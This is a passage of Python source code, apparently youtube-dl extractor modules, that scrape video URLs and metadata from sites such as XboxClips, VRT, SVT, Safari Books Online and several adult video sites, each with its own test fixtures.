                re.findall(
                    r'<p class="video-entry-title">\s+<a href="(https?://videos.toypics.net/view/[^"]+)">',
                    lpage))

        return {
            '_type': 'playlist',
            'id': username,
            'entries': [{
                '_type': 'url',
                'url': eurl,
                'ie_key': 'Toypics',
            } for eurl in urls]
        }






# encoding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    parse_filesize,
    unified_strdate,
)


class XboxClipsIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?xboxclips\.com/(?:video\.php\?.*vid=|[^/]+/)(?P<id>[\w-]{36})'
    _TEST = {
        'url': 'http://xboxclips.com/video.php?uid=2533274823424419&gamertag=Iabdulelah&vid=074a69a9-5faf-46aa-b93b-9909c1720325',
        'md5': 'fbe1ec805e920aeb8eced3c3e657df5d',
        'info_dict': {
            'id': '074a69a9-5faf-46aa-b93b-9909c1720325',
            'ext': 'mp4',
            'title': 'Iabdulelah playing Titanfall',
            'filesize_approx': 26800000,
            'upload_date': '20140807',
            'duration': 56,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        video_url = self._html_search_regex(
            r'>(?:Link|Download): <a[^>]+href="([^"]+)"', webpage, 'video URL')
        title = self._html_search_regex(
            r'<title>XboxClips \| ([^<]+)</title>', webpage, 'title')
        upload_date = unified_strdate(self._html_search_regex(
            r'>Recorded: ([^<]+)<', webpage, 'upload date', fatal=False))
        filesize = parse_filesize(self._html_search_regex(
            r'>Size: ([^<]+)<', webpage, 'file size', fatal=False))
        duration = int_or_none(self._html_search_regex(
            r'>Duration: (\d+) Seconds<', webpage, 'duration', fatal=False))
        view_count = int_or_none(self._html_search_regex(
            r'>Views: (\d+)<', webpage, 'view count', fatal=False))

        return {
            'id': video_id,
            'url': video_url,
            'title': title,
            'upload_date': upload_date,
            'filesize_approx': filesize,
            'duration': duration,
            'view_count': view_count,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    determine_ext,
    float_or_none,
)


class VRTIE(InfoExtractor):
    _VALID_URL = r'https?://(?:deredactie|sporza|cobra(?:\.canvas)?)\.be/cm/(?:[^/]+/)+(?P<id>[^/]+)/*'
    _TESTS = [
        # deredactie.be
        {
            'url': 'http://deredactie.be/cm/vrtnieuws/videozone/programmas/journaal/EP_141025_JOL',
            'md5': '4cebde1eb60a53782d4f3992cbd46ec8',
            'info_dict': {
                'id': '2129880',
                'ext': 'flv',
                'title': 'Het journaal L - 25/10/14',
                'description': None,
                'timestamp': 1414271750.949,
                'upload_date': '20141025',
                'duration': 929,
            },
            'skip': 'HTTP Error 404: Not Found',
        },
        # sporza.be
        {
            'url': 'http://sporza.be/cm/sporza/videozone/programmas/extratime/EP_141020_Extra_time',
            'md5': '11f53088da9bf8e7cfc42456697953ff',
            'info_dict': {
                'id': '2124639',
                'ext': 'flv',
                'title': 'Bekijk Extra Time van 20 oktober',
                'description': 'md5:83ac5415a4f1816c6a93f8138aef2426',
                'timestamp': 1413835980.560,
                'upload_date': '20141020',
                'duration': 3238,
            },
            'skip': 'HTTP Error 404: Not Found',
        },
        # cobra.be
        {
            'url': 'http://cobra.be/cm/cobra/videozone/rubriek/film-videozone/141022-mv-ellis-cafecorsari',
            'md5': '78a2b060a5083c4f055449a72477409d',
            'info_dict': {
                'id': '2126050',
                'ext': 'flv',
                'title': 'Bret Easton Ellis in Café Corsari',
                'description': 'md5:f699986e823f32fd6036c1855a724ee9',
                'timestamp': 1413967500.494,
                'upload_date': '20141022',
                'duration': 661,
            },
            'skip': 'HTTP Error 404: Not Found',
        },
        {
            # YouTube video
            'url': 'http://deredactie.be/cm/vrtnieuws/videozone/nieuws/cultuurenmedia/1.2622957',
            'md5': 'b8b93da1df1cea6c8556255a796b7d61',
            'info_dict': {
                'id': 'Wji-BZ0oCwg',
                'ext': 'mp4',
                'title': 'ROGUE ONE: A STAR WARS STORY Official Teaser Trailer',
                'description': 'md5:8e468944dce15567a786a67f74262583',
                'uploader': 'Star Wars',
                'uploader_id': 'starwars',
                'upload_date': '20160407',
            },
            'add_ie': ['Youtube'],
        },
        {
            'url': 'http://cobra.canvas.be/cm/cobra/videozone/rubriek/film-videozone/1.2377055',
            'md5': '',
            'info_dict': {
                'id': '2377055',
                'ext': 'mp4',
                'title': 'Cafe Derby',
                'description': 'Lenny Van Wesemael debuteert met de langspeelfilm Café Derby. Een waar gebeurd maar ook verzonnen verhaal.',
                'upload_date': '20150626',
                'timestamp': 1435305240.769,
            },
            'params': {
                # m3u8 download
                'skip_download': True,
            }
        }
    ]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        video_id = self._search_regex(
            r'data-video-id="([^"]+)_[^"]+"', webpage, 'video id', fatal=False)

        src = self._search_regex(
            r'data-video-src="([^"]+)"', webpage, 'video src', default=None)

        video_type = self._search_regex(
            r'data-video-type="([^"]+)"', webpage, 'video type', default=None)

        if video_type == 'YouTubeVideo':
            return self.url_result(src, 'Youtube')

        formats = []

        mobj = re.search(
            r'data-video-iphone-server="(?P<server>[^"]+)"\s+data-video-iphone-path="(?P<path>[^"]+)"',
            webpage)
        if mobj:
            formats.extend(self._extract_m3u8_formats(
                '%s/%s' % (mobj.group('server'), mobj.group('path')),
                video_id, 'mp4', m3u8_id='hls', fatal=False))

        if src:
            if determine_ext(src) == 'm3u8':
                formats.extend(self._extract_m3u8_formats(
                    src, video_id, 'mp4', entry_protocol='m3u8_native',
                    m3u8_id='hls', fatal=False))
                formats.extend(self._extract_f4m_formats(
                    src.replace('playlist.m3u8', 'manifest.f4m'),
                    video_id, f4m_id='hds', fatal=False))
                if 'data-video-geoblocking="true"' not in webpage:
                    rtmp_formats = self._extract_smil_formats(
                        src.replace('playlist.m3u8', 'jwplayer.smil'),
                        video_id, fatal=False)
                    formats.extend(rtmp_formats)
                    for rtmp_format in rtmp_formats:
                        rtmp_format_c = rtmp_format.copy()
                        rtmp_format_c['url'] = '%s/%s' % (rtmp_format['url'], rtmp_format['play_path'])
                        del rtmp_format_c['play_path']
                        del rtmp_format_c['ext']
                        http_format = rtmp_format_c.copy()
                        http_format.update({
                            'url': rtmp_format_c['url'].replace('rtmp://', 'http://').replace('vod.', 'download.').replace('/_definst_/', '/').replace('mp4:', ''),
                            'format_id': rtmp_format['format_id'].replace('rtmp', 'http'),
                            'protocol': 'http',
                        })
                        rtsp_format = rtmp_format_c.copy()
                        rtsp_format.update({
                            'url': rtsp_format['url'].replace('rtmp://', 'rtsp://'),
                            'format_id': rtmp_format['format_id'].replace('rtmp', 'rtsp'),
                            'protocol': 'rtsp',
                        })
                        formats.extend([http_format, rtsp_format])
            else:
                formats.extend(self._extract_f4m_formats(
                    '%s/manifest.f4m' % src, video_id, f4m_id='hds', fatal=False))

        if not formats and 'data-video-geoblocking="true"' in webpage:
            self.raise_geo_restricted('This video is only available in Belgium')

        self._sort_formats(formats)

        title = self._og_search_title(webpage)
        description = self._og_search_description(webpage, default=None)
        thumbnail = self._og_search_thumbnail(webpage)
        timestamp = float_or_none(self._search_regex(
            r'data-video-sitestat-pubdate="(\d+)"', webpage, 'timestamp', fatal=False), 1000)
        duration = float_or_none(self._search_regex(
            r'data-video-duration="(\d+)"', webpage, 'duration', fatal=False), 1000)

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'timestamp': timestamp,
            'duration': duration,
            'formats': formats,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from .ooyala import OoyalaIE


class TeachingChannelIE(InfoExtractor):
    _VALID_URL = r'https?://www\.teachingchannel\.org/videos/(?P<title>.+)'

    _TEST = {
        'url': 'https://www.teachingchannel.org/videos/teacher-teaming-evolution',
        'md5': '3d6361864d7cac20b57c8784da17166f',
        'info_dict': {
            'id': 'F3bnlzbToeI6pLEfRyrlfooIILUjz4nM',
            'ext': 'mp4',
            'title': 'A History of Teaming',
            'description': 'md5:2a9033db8da81f2edffa4c99888140b3',
            'duration': 422.255,
        },
        'params': {
            'skip_download': True,
        },
        'add_ie': ['Ooyala'],
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        title = mobj.group('title')
        webpage = self._download_webpage(url, title)
        ooyala_code = self._search_regex(
            r'data-embed-code=\'(.+?)\'', webpage, 'ooyala code')

        return OoyalaIE._build_url_result(ooyala_code)






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import (
    compat_urllib_parse_unquote,
    compat_urllib_parse_urlparse,
)
from ..utils import (
    sanitized_Request,
    str_to_int,
    unified_strdate,
)
from ..aes import aes_decrypt_text


class SpankwireIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?(?P<url>spankwire\.com/[^/]*/video(?P<id>[0-9]+)/?)'
    _TESTS = [{
        # download URL pattern: */<height>P_<tbr>K_<video_id>.mp4
        'url': 'http://www.spankwire.com/Buckcherry-s-X-Rated-Music-Video-Crazy-Bitch/video103545/',
        'md5': '8bbfde12b101204b39e4b9fe7eb67095',
        'info_dict': {
            'id': '103545',
            'ext': 'mp4',
            'title': 'Buckcherry`s X Rated Music Video Crazy Bitch',
            'description': 'Crazy Bitch X rated music video.',
            'uploader': 'oreusz',
            'uploader_id': '124697',
            'upload_date': '20070507',
            'age_limit': 18,
        }
    }, {
        # download URL pattern: */mp4_<format_id>_<video_id>.mp4
        'url': 'http://www.spankwire.com/Titcums-Compiloation-I/video1921551/',
        'md5': '09b3c20833308b736ae8902db2f8d7e6',
        'info_dict': {
            'id': '1921551',
            'ext': 'mp4',
            'title': 'Titcums Compiloation I',
            'description': 'cum on tits',
            'uploader': 'dannyh78999',
            'uploader_id': '3056053',
            'upload_date': '20150822',
            'age_limit': 18,
        },
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        req = sanitized_Request('http://www.' + mobj.group('url'))
        req.add_header('Cookie', 'age_verified=1')
        webpage = self._download_webpage(req, video_id)

        title = self._html_search_regex(
            r'<h1>([^<]+)', webpage, 'title')
        description = self._html_search_regex(
            r'(?s)<div\s+id="descriptionContent">(.+?)</div>',
            webpage, 'description', fatal=False)
        thumbnail = self._html_search_regex(
            r'playerData\.screenShot\s*=\s*["\']([^"\']+)["\']',
            webpage, 'thumbnail', fatal=False)

        uploader = self._html_search_regex(
            r'by:\s*<a [^>]*>(.+?)</a>',
            webpage, 'uploader', fatal=False)
        uploader_id = self._html_search_regex(
            r'by:\s*<a href="/(?:user/viewProfile|Profile\.aspx)\?.*?UserId=(\d+).*?"',
            webpage, 'uploader id', fatal=False)
        upload_date = unified_strdate(self._html_search_regex(
            r'</a> on (.+?) at \d+:\d+',
            webpage, 'upload date', fatal=False))

        view_count = str_to_int(self._html_search_regex(
            r'<div id="viewsCounter"><span>([\d,\.]+)</span> views</div>',
            webpage, 'view count', fatal=False))
        comment_count = str_to_int(self._html_search_regex(
            r'<span\s+id="spCommentCount"[^>]*>([\d,\.]+)</span>',
            webpage, 'comment count', fatal=False))

        videos = re.findall(
            r'playerData\.cdnPath([0-9]{3,})\s*=\s*(?:encodeURIComponent\()?["\']([^"\']+)["\']', webpage)
        heights = [int(video[0]) for video in videos]
        video_urls = list(map(compat_urllib_parse_unquote, [video[1] for video in videos]))
        if webpage.find('flashvars\.encrypted = "true"') != -1:
            password = self._search_regex(
                r'flashvars\.video_title = "([^"]+)',
                webpage, 'password').replace('+', ' ')
            video_urls = list(map(
                lambda s: aes_decrypt_text(s, password, 32).decode('utf-8'),
                video_urls))

        formats = []
        for height, video_url in zip(heights, video_urls):
            path = compat_urllib_parse_urlparse(video_url).path
            m = re.search(r'/(?P<height>\d+)[pP]_(?P<tbr>\d+)[kK]', path)
            if m:
                tbr = int(m.group('tbr'))
                height = int(m.group('height'))
            else:
                tbr = None
            formats.append({
                'url': video_url,
                'format_id': '%dp' % height,
                'height': height,
                'tbr': tbr,
            })
        self._sort_formats(formats)

        age_limit = self._rta_search(webpage)

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'uploader': uploader,
            'uploader_id': uploader_id,
            'upload_date': upload_date,
            'view_count': view_count,
            'comment_count': comment_count,
            'formats': formats,
            'age_limit': age_limit,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    parse_duration,
)


class NuvidIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www|m)\.nuvid\.com/video/(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://m.nuvid.com/video/1310741/',
        'md5': 'eab207b7ac4fccfb4e23c86201f11277',
        'info_dict': {
            'id': '1310741',
            'ext': 'mp4',
            'title': 'Horny babes show their awesome bodeis and',
            'duration': 129,
            'age_limit': 18,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        page_url = 'http://m.nuvid.com/video/%s' % video_id
        webpage = self._download_webpage(
            page_url, video_id, 'Downloading video page')
        # When dwnld_speed exists and has a value larger than the MP4 file's
        # bitrate, Nuvid returns the MP4 URL
        # It's unit is 100bytes/millisecond, see mobile-nuvid-min.js for the algorithm
        self._set_cookie('nuvid.com', 'dwnld_speed', '10.0')
        mp4_webpage = self._download_webpage(
            page_url, video_id, 'Downloading video page for MP4 format')

        html5_video_re = r'(?s)<(?:video|audio)[^<]*(?:>.*?<source[^>]*)?\s+src=["\'](.*?)["\']',
        video_url = self._html_search_regex(html5_video_re, webpage, video_id)
        mp4_video_url = self._html_search_regex(html5_video_re, mp4_webpage, video_id)
        formats = [{
            'url': video_url,
        }]
        if mp4_video_url != video_url:
            formats.append({
                'url': mp4_video_url,
            })

        title = self._html_search_regex(
            [r'<span title="([^"]+)">',
             r'<div class="thumb-holder video">\s*<h5[^>]*>([^<]+)</h5>',
             r'<span[^>]+class="title_thumb">([^<]+)</span>'], webpage, 'title').strip()
        thumbnails = [
            {
                'url': thumb_url,
            } for thumb_url in re.findall(r'<img src="([^"]+)" alt="" />', webpage)
        ]
        thumbnail = thumbnails[0]['url'] if thumbnails else None
        duration = parse_duration(self._html_search_regex(
            [r'<i class="fa fa-clock-o"></i>\s*(\d{2}:\d{2})',
             r'<span[^>]+class="view_time">([^<]+)</span>'], webpage, 'duration', fatal=False))

        return {
            'id': video_id,
            'title': title,
            'thumbnails': thumbnails,
            'thumbnail': thumbnail,
            'duration': duration,
            'age_limit': 18,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    determine_ext,
    dict_get,
    int_or_none,
    try_get,
)


class SVTBaseIE(InfoExtractor):
    def _extract_video(self, video_info, video_id):
        formats = []
        for vr in video_info['videoReferences']:
            player_type = vr.get('playerType')
            vurl = vr['url']
            ext = determine_ext(vurl)
            if ext == 'm3u8':
                formats.extend(self._extract_m3u8_formats(
                    vurl, video_id,
                    ext='mp4', entry_protocol='m3u8_native',
                    m3u8_id=player_type, fatal=False))
            elif ext == 'f4m':
                formats.extend(self._extract_f4m_formats(
                    vurl + '?hdcore=3.3.0', video_id,
                    f4m_id=player_type, fatal=False))
            elif ext == 'mpd':
                if player_type == 'dashhbbtv':
                    formats.extend(self._extract_mpd_formats(
                        vurl, video_id, mpd_id=player_type, fatal=False))
            else:
                formats.append({
                    'format_id': player_type,
                    'url': vurl,
                })
        if not formats and video_info.get('rights', {}).get('geoBlockedSweden'):
            self.raise_geo_restricted('This video is only available in Sweden')
        self._sort_formats(formats)

        subtitles = {}
        subtitle_references = dict_get(video_info, ('subtitles', 'subtitleReferences'))
        if isinstance(subtitle_references, list):
            for sr in subtitle_references:
                subtitle_url = sr.get('url')
                subtitle_lang = sr.get('language', 'sv')
                if subtitle_url:
                    if determine_ext(subtitle_url) == 'm3u8':
                        # TODO(yan12125): handle WebVTT in m3u8 manifests
                        continue

                    subtitles.setdefault(subtitle_lang, []).append({'url': subtitle_url})

        title = video_info.get('title')

        series = video_info.get('programTitle')
        season_number = int_or_none(video_info.get('season'))
        episode = video_info.get('episodeTitle')
        episode_number = int_or_none(video_info.get('episodeNumber'))

        duration = int_or_none(dict_get(video_info, ('materialLength', 'contentDuration')))
        age_limit = None
        adult = dict_get(
            video_info, ('inappropriateForChildren', 'blockedForChildren'),
            skip_false_values=False)
        if adult is not None:
            age_limit = 18 if adult else 0

        return {
            'id': video_id,
            'title': title,
            'formats': formats,
            'subtitles': subtitles,
            'duration': duration,
            'age_limit': age_limit,
            'series': series,
            'season_number': season_number,
            'episode': episode,
            'episode_number': episode_number,
        }


class SVTIE(SVTBaseIE):
    _VALID_URL = r'https?://(?:www\.)?svt\.se/wd\?(?:.*?&)?widgetId=(?P<widget_id>\d+)&.*?\barticleId=(?P<id>\d+)'
    _TEST = {
        'url': 'http://www.svt.se/wd?widgetId=23991&sectionId=541&articleId=2900353&type=embed&contextSectionId=123&autostart=false',
        'md5': '33e9a5d8f646523ce0868ecfb0eed77d',
        'info_dict': {
            'id': '2900353',
            'ext': 'mp4',
            'title': 'Stjärnorna skojar till det - under SVT-intervjun',
            'duration': 27,
            'age_limit': 0,
        },
    }

    @staticmethod
    def _extract_url(webpage):
        mobj = re.search(
            r'(?:<iframe src|href)="(?P<url>%s[^"]*)"' % SVTIE._VALID_URL, webpage)
        if mobj:
            return mobj.group('url')

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        widget_id = mobj.group('widget_id')
        article_id = mobj.group('id')

        info = self._download_json(
            'http://www.svt.se/wd?widgetId=%s&articleId=%s&format=json&type=embed&output=json' % (widget_id, article_id),
            article_id)

        info_dict = self._extract_video(info['video'], article_id)
        info_dict['title'] = info['context']['title']
        return info_dict


class SVTPlayIE(SVTBaseIE):
    IE_DESC = 'SVT Play and Öppet arkiv'
    _VALID_URL = r'https?://(?:www\.)?(?:svtplay|oppetarkiv)\.se/(?:video|klipp)/(?P<id>[0-9]+)'
    _TESTS = [{
        'url': 'http://www.svtplay.se/video/5996901/flygplan-till-haile-selassie/flygplan-till-haile-selassie-2',
        'md5': '2b6704fe4a28801e1a098bbf3c5ac611',
        'info_dict': {
            'id': '5996901',
            'ext': 'mp4',
            'title': 'Flygplan till Haile Selassie',
            'duration': 3527,
            'thumbnail': 're:^https?://.*[\.-]jpg$',
            'age_limit': 0,
            'subtitles': {
                'sv': [{
                    'ext': 'wsrt',
                }]
            },
        },
    }, {
        # geo restricted to Sweden
        'url': 'http://www.oppetarkiv.se/video/5219710/trollflojten',
        'only_matching': True,
    }, {
        'url': 'http://www.svtplay.se/klipp/9023742/stopptid-om-bjorn-borg',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        data = self._parse_json(
            self._search_regex(
                r'root\["__svtplay"\]\s*=\s*([^;]+);',
                webpage, 'embedded data', default='{}'),
            video_id, fatal=False)

        thumbnail = self._og_search_thumbnail(webpage)

        if data:
            video_info = try_get(
                data, lambda x: x['context']['dispatcher']['stores']['VideoTitlePageStore']['data']['video'],
                dict)
            if video_info:
                info_dict = self._extract_video(video_info, video_id)
                info_dict.update({
                    'title': data['context']['dispatcher']['stores']['MetaStore']['title'],
                    'thumbnail': thumbnail,
                })
                return info_dict

        video_id = self._search_regex(
            r'<video[^>]+data-video-id=["\']([\da-zA-Z-]+)',
            webpage, 'video id', default=None)

        if video_id:
            data = self._download_json(
                'http://www.svt.se/videoplayer-api/video/%s' % video_id, video_id)
            info_dict = self._extract_video(data, video_id)
            if not info_dict.get('title'):
                info_dict['title'] = re.sub(
                    r'\s*\|\s*.+?$', '',
                    info_dict.get('episode') or self._og_search_title(webpage))
            return info_dict






from __future__ import unicode_literals

from .nuevo import NuevoBaseIE


class RulePornIE(NuevoBaseIE):
    _VALID_URL = r'https?://(?:www\.)?ruleporn\.com/(?:[^/?#&]+/)*(?P<id>[^/?#&]+)'
    _TEST = {
        'url': 'http://ruleporn.com/brunette-nympho-chick-takes-her-boyfriend-in-every-angle/',
        'md5': '86861ebc624a1097c7c10eaf06d7d505',
        'info_dict': {
            'id': '48212',
            'display_id': 'brunette-nympho-chick-takes-her-boyfriend-in-every-angle',
            'ext': 'mp4',
            'title': 'Brunette Nympho Chick Takes Her Boyfriend In Every Angle',
            'description': 'md5:6d28be231b981fff1981deaaa03a04d5',
            'age_limit': 18,
            'duration': 635.1,
        }
    }

    def _real_extract(self, url):
        display_id = self._match_id(url)

        webpage = self._download_webpage(url, display_id)

        video_id = self._search_regex(
            r'lovehomeporn\.com/embed/(\d+)', webpage, 'video id')

        title = self._search_regex(
            r'<h2[^>]+title=(["\'])(?P<url>.+?)\1',
            webpage, 'title', group='url')
        description = self._html_search_meta('description', webpage)

        info = self._extract_nuevo(
            'http://lovehomeporn.com/media/nuevo/econfig.php?key=%s&rp=true' % video_id,
            video_id)
        info.update({
            'display_id': display_id,
            'title': title,
            'description': description,
            'age_limit': 18
        })
        return info






# encoding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor

from ..utils import (
    ExtractorError,
    sanitized_Request,
    std_headers,
    urlencode_postdata,
    update_url_query,
)


class SafariBaseIE(InfoExtractor):
    _LOGIN_URL = 'https://www.safaribooksonline.com/accounts/login/'
    _SUCCESSFUL_LOGIN_REGEX = r'<a href="/accounts/logout/"[^>]*>Sign Out</a>'
    _NETRC_MACHINE = 'safari'

    _API_BASE = 'https://www.safaribooksonline.com/api/v1'
    _API_FORMAT = 'json'

    LOGGED_IN = False

    def _real_initialize(self):
        self._login()

    def _login(self):
        # We only need to log in once for courses or individual videos
        if self.LOGGED_IN:
            return

        (username, password) = self._get_login_info()
        if username is None:
            return

        headers = std_headers.copy()
        if 'Referer' not in headers:
            headers['Referer'] = self._LOGIN_URL
        login_page_request = sanitized_Request(self._LOGIN_URL, headers=headers)

        login_page = self._download_webpage(
            login_page_request, None,
            'Downloading login form')

        csrf = self._html_search_regex(
            r"name='csrfmiddlewaretoken'\s+value='([^']+)'",
            login_page, 'csrf token')

        login_form = {
            'csrfmiddlewaretoken': csrf,
            'email': username,
            'password1': password,
            'login': 'Sign In',
            'next': '',
        }

        request = sanitized_Request(
            self._LOGIN_URL, urlencode_postdata(login_form), headers=headers)
        login_page = self._download_webpage(
            request, None, 'Logging in as %s' % username)

        if re.search(self._SUCCESSFUL_LOGIN_REGEX, login_page) is None:
            raise ExtractorError(
                'Login failed; make sure your credentials are correct and try again.',
                expected=True)

        SafariBaseIE.LOGGED_IN = True

        self.to_screen('Login successful')


class SafariIE(SafariBaseIE):
    IE_NAME = 'safari'
    IE_DESC = 'safaribooksonline.com online video'
    _VALID_URL = r'https?://(?:www\.)?safaribooksonline\.com/library/view/[^/]+/(?P<course_id>[^/]+)/(?P<part>[^/?#&]+)\.html'

    _TESTS = [{
        'url': 'https://www.safaribooksonline.com/library/view/hadoop-fundamentals-livelessons/9780133392838/part00.html',
        'md5': 'dcc5a425e79f2564148652616af1f2a3',
        'info_dict': {
            'id': '0_qbqx90ic',
            'ext': 'mp4',
            'title': 'Introduction to Hadoop Fundamentals LiveLessons',
            'timestamp': 1437758058,
            'upload_date': '20150724',
            'uploader_id': 'stork',
        },
    }, {
        # non-digits in course id
        'url': 'https://www.safaribooksonline.com/library/view/create-a-nodejs/100000006A0210/part00.html',
        'only_matching': True,
    }, {
        'url': 'https://www.safaribooksonline.com/library/view/learning-path-red/9780134664057/RHCE_Introduction.html',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = '%s/%s' % (mobj.group('course_id'), mobj.group('part'))

        webpage = self._download_webpage(url, video_id)
        reference_id = self._search_regex(
            r'data-reference-id=(["\'])(?P<id>.+?)\1',
            webpage, 'kaltura reference id', group='id')
        partner_id = self._search_regex(
            r'data-partner-id=(["\'])(?P<id>.+?)\1',
            webpage, 'kaltura widget id', group='id')
        ui_id = self._search_regex(
            r'data-ui-id=(["\'])(?P<id>.+?)\1',
            webpage, 'kaltura uiconf id', group='id')

        query = {
            'wid': '_%s' % partner_id,
            'uiconf_id': ui_id,
            'flashvars[referenceId]': reference_id,
        }

        if self.LOGGED_IN:
            kaltura_session = self._download_json(
                '%s/player/kaltura_session/?reference_id=%s' % (self._API_BASE, reference_id),
                video_id, 'Downloading kaltura session JSON',
                'Unable to download kaltura session JSON', fatal=False)
            if kaltura_session:
                session = kaltura_session.get('session')
                if session:
                    query['flashvars[ks]'] = session

        return self.url_result(update_url_query(
            'https://cdnapisec.kaltura.com/html5/html5lib/v2.37.1/mwEmbedFrame.php', query),
            'Kaltura')


class SafariApiIE(SafariBaseIE):
    IE_NAME = 'safari:api'
    _VALID_URL = r'https?://(?:www\.)?safaribooksonline\.com/api/v1/book/(?P<course_id>[^/]+)/chapter(?:-content)?/(?P<part>[^/?#&]+)\.html'

    _TESTS = [{
        'url': 'https://www.safaribooksonline.com/api/v1/book/9780133392838/chapter/part00.html',
        'only_matching': True,
    }, {
        'url': 'https://www.safaribooksonline.com/api/v1/book/9780134664057/chapter/RHCE_Introduction.html',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        part = self._download_json(
            url, '%s/%s' % (mobj.group('course_id'), mobj.group('part')),
            'Downloading part JSON')
        return self.url_result(part['web_url'], SafariIE.ie_key())


class SafariCourseIE(SafariBaseIE):
    IE_NAME = 'safari:course'
    IE_DESC = 'safaribooksonline.com online courses'

    _VALID_URL = r'https?://(?:www\.)?safaribooksonline\.com/(?:library/view/[^/]+|api/v1/book)/(?P<id>[^/]+)/?(?:[#?]|$)'

    _TESTS = [{
        'url': 'https://www.safaribooksonline.com/library/view/hadoop-fundamentals-livelessons/9780133392838/',
        'info_dict': {
            'id': '9780133392838',
            'title': 'Hadoop Fundamentals LiveLessons',
        },
        'playlist_count': 22,
        'skip': 'Requires safaribooksonline account credentials',
    }, {
        'url': 'https://www.safaribooksonline.com/api/v1/book/9781449396459/?override_format=json',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        course_id = self._match_id(url)

        course_json = self._download_json(
            '%s/book/%s/?override_format=%s' % (self._API_BASE, course_id, self._API_FORMAT),
            course_id, 'Downloading course JSON')

        if 'chapters' not in course_json:
            raise ExtractorError(
                'No chapters found for course %s' % course_id, expected=True)

        entries = [
            self.url_result(chapter, SafariApiIE.ie_key())
            for chapter in course_json['chapters']]

        course_title = course_json['title']

        return self.playlist_result(entries, course_id, course_title)






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    parse_duration,
    str_to_int,
    unified_strdate,
)


class GameStarIE(InfoExtractor):
    _VALID_URL = r'https?://www\.gamestar\.de/videos/.*,(?P<id>[0-9]+)\.html'
    _TEST = {
        'url': 'http://www.gamestar.de/videos/trailer,3/hobbit-3-die-schlacht-der-fuenf-heere,76110.html',
        'md5': '96974ecbb7fd8d0d20fca5a00810cea7',
        'info_dict': {
            'id': '76110',
            'ext': 'mp4',
            'title': 'Hobbit 3: Die Schlacht der Fünf Heere - Teaser-Trailer zum dritten Teil',
            'description': 'Der Teaser-Trailer zu Hobbit 3: Die Schlacht der Fünf Heere zeigt einige Szenen aus dem dritten Teil der Saga und kündigt den vollständigen Trailer an.',
            'thumbnail': 'http://images.gamestar.de/images/idgwpgsgp/bdb/2494525/600x.jpg',
            'upload_date': '20140728',
            'duration': 17
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        og_title = self._og_search_title(webpage)
        title = re.sub(r'\s*- Video (bei|-) GameStar\.de$', '', og_title)

        url = 'http://gamestar.de/_misc/videos/portal/getVideoUrl.cfm?premium=0&videoId=' + video_id

        description = self._og_search_description(webpage).strip()

        thumbnail = self._proto_relative_url(
            self._og_search_thumbnail(webpage), scheme='http:')

        upload_date = unified_strdate(self._html_search_regex(
            r'<span style="float:left;font-size:11px;">Datum: ([0-9]+\.[0-9]+\.[0-9]+)&nbsp;&nbsp;',
            webpage, 'upload_date', fatal=False))

        duration = parse_duration(self._html_search_regex(
            r'&nbsp;&nbsp;Länge: ([0-9]+:[0-9]+)</span>', webpage, 'duration',
            fatal=False))

        view_count = str_to_int(self._html_search_regex(
            r'&nbsp;&nbsp;Zuschauer: ([0-9\.]+)&nbsp;&nbsp;', webpage,
            'view_count', fatal=False))

        comment_count = int_or_none(self._html_search_regex(
            r'>Kommentieren \(([0-9]+)\)</a>', webpage, 'comment_count',
            fatal=False))

        return {
            'id': video_id,
            'title': title,
            'url': url,
            'ext': 'mp4',
            'thumbnail': thumbnail,
            'description': description,
            'upload_date': upload_date,
            'duration': duration,
            'view_count': view_count,
            'comment_count': comment_count
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    remove_end,
    remove_start,
    str_to_int,
    unified_strdate,
)


class PinkbikeIE(InfoExtractor):
    _VALID_URL = r'https?://(?:(?:www\.)?pinkbike\.com/video/|es\.pinkbike\.org/i/kvid/kvid-y5\.swf\?id=)(?P<id>[0-9]+)'
    _TESTS = [{
        'url': 'http://www.pinkbike.com/video/402811/',
        'md5': '4814b8ca7651034cd87e3361d5c2155a',
        'info_dict': {
            'id': '402811',
            'ext': 'mp4',
            'title': 'Brandon Semenuk - RAW 100',
            'description': 'Official release: www.redbull.ca/rupertwalker',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 100,
            'upload_date': '20150406',
            'uploader': 'revelco',
            'location': 'Victoria, British Columbia, Canada',
            'view_count': int,
            'comment_count': int,
        }
    }, {
        'url': 'http://es.pinkbike.org/i/kvid/kvid-y5.swf?id=406629',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(
